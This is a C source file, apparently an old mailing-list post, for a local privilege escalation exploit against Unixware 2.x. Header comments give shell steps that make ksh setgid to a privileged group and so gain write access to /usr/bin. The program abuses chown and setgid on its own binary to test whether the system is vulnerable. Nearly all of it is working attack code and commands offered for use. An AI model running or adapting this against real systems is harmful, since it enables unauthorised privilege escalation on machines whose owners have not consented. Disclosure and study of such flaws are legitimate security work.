/*  Post to BoS - try this with an account on a Unixware 2.x box. */
/*  And here's another Unixware exploit. Should get you grp       */
/*  23456 which will get you /usr/bin etc., etc.,                 */
/*    % cp /usr/bin/ksh .                                         */
/*    % chmod 2700 ./ksh                                          */
/*    % chgrp 23456 ./ksh                                         */
/*    % ./ksh                                                     */
/*    > id                                                        */
/*                                                                */

#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#define KEYMATCH "\x1D\xFC\x3A\x2FMZ"
#define TESTGRP 17186

int main(int argc, char **argv) {
        struct stat st, *s = &st;
        pid_t p;

        if (argc == 2 && !strcmp(argv[1], KEYMATCH)) {
                if (getegid() == TESTGRP) {
                        unsigned long r;

                        srandom(time(NULL));
                        r = (unsigned long)random();
                        r = (r & 0xFFFF00FF) | ((r & 0xFF000000 >> 16) ^
                                (r & 0x00FF0000 >> 8) ^
                                (r & 0x000000FF << 8));
                        fprintf(stderr, "%s: system vulnerable code 0x%lX\n",
                                argv[0], r);
                } else {
                        fprintf(stderr, "%s: system not vulnerable\n",
                                argv[0]);
                }
                return 0;
        }
        if (argc > 1) {
                fprintf(stderr, "%s: don't supply any arguments\n", argv[0]);
                return 0;
        }
        if (!strchr(argv[0], '/')) {
                fprintf(stderr, "%s: user error: run me with a pathname, not in
$PATH\n",
                        argv[0]);
                return 0;
        }
        if (stat(argv[0], s)) {
                fprintf(stderr, "%s: system error: cannot stat my binary?\n",
argv[0]);
                return 0;
        }
        if (s->st_uid != geteuid() && s->st_uid != getuid()) {
                fprintf(stderr, "%s: user error: does this uid own my
binary?\n",
                        argv[0]);
                return 0;
        }
        chown(argv[0], -1, TESTGRP);
        if (chmod(argv[0], 02700)) {
                chown(argv[0], -1, s->st_gid);
                chmod(argv[0], s->st_mode);
                fprintf(stderr, "%s: user error: cannot chmod my own binary?\n",
                        argv[0]);
                return 0;
        }
        if ((p = vfork()) == -1) {
                fprintf(stderr, "%s: system error: cannot fork\n",
                        argv[0]);
                return 0;
        }
        if (!p) {
                execl(argv[0], argv[0], KEYMATCH, NULL);
                fprintf(stderr, "%s: system error: cannot exec\n",
                        argv[0]);
                _exit(0);
        }
        chown(argv[0], -1, s->st_gid);
        chmod(argv[0], s->st_mode);
        return 0;
}


